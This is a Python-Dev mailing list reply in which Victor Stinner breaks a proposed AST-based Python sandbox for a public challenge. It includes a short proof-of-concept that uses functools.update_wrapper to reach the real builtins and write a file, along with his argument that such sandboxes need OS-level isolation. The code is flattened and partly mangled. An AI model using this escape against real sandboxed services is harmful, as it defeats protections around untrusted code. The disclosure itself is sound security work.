[Python-Dev] Challenge: Please break this! (a.k.a restricted mode revisited) (original) (raw)

Victor Stinner victor.stinner at gmail.com
Tue Apr 12 08:16:57 EDT 2016


2016-04-08 16:18 GMT+02:00 Jon Ribbens <jon+python-dev at unequivocal.co.uk>:

I've made another attempt at Python sandboxing, which does something which I've not seen tried before - using the 'ast' module to do static analysis of the untrusted code before it's executed, to prevent most of the sneaky tricks that have been used to break out of past attempts at sandboxes.

Right, it blocks the most trivial attacks against sandboxes. But you only fixed a few holes, they are still a wide area of holes to escape your sandbox.

I read your code and the code of CPython. I found many issues.

Your sandbox runs untrusted code in a new namespace. The game is to get access of the outter namespace, the real Python namespace. For example, get the namespace of the unsafe module.

Your bet is that blocking access to "_" variables, using a whitelist of modules and a few other protections is enough to block access to the real namespace. The problem is that Python provides a very wide range of tools for introspection.

I expected to find a hole using the C code, but in fact, it was much simpler than that.

Your "safe import" hides real functions with a proxy. Ok. But the code of modules is still run in the real namespace, where I expected that modules run in the untrusted (restricted) namespace. The game is now to find a way to retrieve content from the real namespace using any function exposed in modules.

I found functools.update_wrapper(). I was very surprised because this function calls getattr() and setattr(), whereas your sandbox replaces these builtin functions. In fact, the "safe" getattr and setattr are only installed in the untrusted namespace, and as I wrote, the modules run in the real Python namespace.

I would be very interested to see if anyone can manage to break it.

So here you have:

import functools

any proxy function from unsafe.py

import base64 src = base64.main

hack to get any attribute of an object

def getattr(obj, attr): secret = None

class A:
    def __setattr__(self, key, value):
        nonlocal secret
        if key == attr:
            secret = value

dst = A()
functools.update_wrapper(dst, src, assigned=(attr,), updated=())
return secret

builtins = getattr(base64.main, "globals")["builtins"]

fn = "/tmp/owned" with builtins.open(fn, "w") as f: f.write("game over!\n")

The exploit is based on two things:

Bugs which are trivially fixable are of course welcomed, but the real question is: is this approach basically sound, or is it fundamentally unworkable?

You can block the functools.update_wrapper(), or even the whole functools module. But it will not fix the root cause: modules must run in the untrusted namespace.

In pysandbox, I have code to ensure that all modules run in the untrusted namespace: see CleanupBuiltins in sandbox/builtins.py. But it was not enough, many vulnerabilities were found even with all my protections.

I'm sure that many others will find other ways to escape your sandbox with enough time. It's a matter of time, not a matter of whitelists.

As I wrote in my long explaning why pysandbox is broken by design, writing a sandbox inside a CPython doesn't work. In fact, what you want to restrict is the access to limited resources like CPU and memory, and block access to the filesystem. This is the job of the operating system, and external sandboxes help to block access to the filesystem.

Victor



More information about the Python-Dev mailing list